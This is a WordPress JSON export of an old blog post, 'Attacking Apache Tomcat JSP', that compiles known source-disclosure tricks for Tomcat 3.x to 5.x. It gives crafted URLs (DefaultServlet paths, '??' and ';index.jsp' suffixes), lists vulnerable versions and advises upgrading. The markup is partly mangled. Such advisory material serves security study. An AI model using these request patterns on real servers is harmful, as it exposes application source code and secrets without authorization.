{"id":180,"date":"2011-01-10T22:03:06","date_gmt":"2011-01-10T21:03:06","guid":{"rendered":"https:\/\/thebc.ch\/blog\/?p=180"},"modified":"2013-02-01T13:18:26","modified_gmt":"2013-02-01T12:18:26","slug":"attacking-apache-tomcat-jsp","status":"publish","type":"post","link":"https:\/\/thebc.ch\/blog\/?p=180","title":{"rendered":"Attacking Apache Tomcat JSP"},"content":{"rendered":"

Try to get the source<\/h3><\/span>\n

Apache Software Foundation Tomcat 3.2.4 Apache Software Foundation Tomcat 3.2.3<\/p>\n

http:\/\/example.com:80\/examples\/jsp\/source.jsp<\/a>??\r\nhttp:\/\/example.com:80\/examples\/jsp\/source.jsp?\/jsp\/<\/a><\/pre>\n
href=”http:\/\/localhost\/serendipity\/from%20http:\/\/www.securityfocus.com\/bid\/4876\/exploit<\/a>“>http:\/\/www.securityfocus.com\/bid\/4876\/exploit<\/a><\/span><\/a><\/blockquote><\/p>\n
Apache Software Foundation Tomcat 4.X<\/p>\n
[SECURITY] Apache Tomcat 4.x JSP source disclosure vulnerability<\/p>\n

\n<\/a><\/span><\/p>\n
2. Details<\/h3><\/span>\n
Let say you have valid URL like<\/p>\n
http:\/\/my.site\/login.jsp<\/a><\/pre>\n
then an URL like<\/p>\n
http:\/\/my.site\/servlet\/org.apache.catalina.servlets.DefaultServlet\/login.jsp<\/a><\/pre>\n
will give you the source code of the JSP page. The full syntaxes of the exposure URL is:<\/p>\n
http:\/\/{server}<\/a>[:port]\/[Context\/]org.apache.catalina.servlets.Default\r\nServlet\/[context_relative_path\/]file_name.jsp<\/pre>\n
For example to see the JSP source of Tomcat 4.1.10 admin application<\/p>\n
http:\/\/localhost:8080\/admin\/index.jsp<\/a><\/p>\n
execute<\/p>\n
http:\/\/localhost:8080\/admin\/servlet\/org.apache.catalina.servlets.DefaultServlet\/index.jsp<\/a>
\n<a href=”http:\/\/marc.theaimsgroup.com\/?l=tomcat-user&m=103417249925541&w=2<\/a>“>http:\/\/marc.theaimsgroup.com\/?l=tomcat-user&m=103417249925541&w=2<\/a><\/span><\/a><\/p>\n
 <\/p>\n
\n
Vulnerable Systems:<\/strong>
\n* Apache Tomcat version 5.0.28
\n* Apache Tomcat version 5.5.12
\n* Apache Tomcat version 5.5.9
\n* Apache Tomcat version 5.5.7<\/p>\n
 <\/p>\n
Immune Systems:<\/strong>
\n* Apache Tomcat version 5.5.17<\/p>\n
Examples:<\/strong>
\nThe following URLs will trigger the vulnerability:
\nhttp:\/\/www.sitexyz.com\/;index.jsp<\/a>
\nhttp:\/\/www.sitexyz.com\/help\/;help.do<\/a><\/em><\/p>\n
Solution:<\/strong>
\nUpgrade to the latest stable Tomcat release. Confirmed fix is available in Apache Tomcat version 5.5.17.<\/p>\n","protected":false},"excerpt":{"rendered":"
Try to get the source Apache Software Foundation Tomcat 3.2.4 Apache Software Foundation Tomcat 3.2.3 http:\/\/example.com:80\/examples\/jsp\/source.jsp?? http:\/\/example.com:80\/examples\/jsp\/source.jsp?\/jsp\/ href=”http:\/\/localhost\/serendipity\/from%20http:\/\/www.securityfocus.com\/bid\/4876\/exploit“>http:\/\/www.securityfocus.com\/bid\/4876\/exploit<\/a><\/blockquote> Apache Software Foundation Tomcat 4.X [SECURITY] Apache Tomcat 4.x JSP source disclosure vulnerability 2. Details Let say you have valid URL like … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-180","post","type-post","status-publish","format-standard","hentry","category-security"],"_links":{"self":[{"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/180","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=180"}],"version-history":[{"count":13,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/180\/revisions"}],"predecessor-version":[{"id":2740,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=\/wp\/v2\/posts\/180\/revisions\/2740"}],"wp:attachment":[{"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=180"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thebc.ch\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}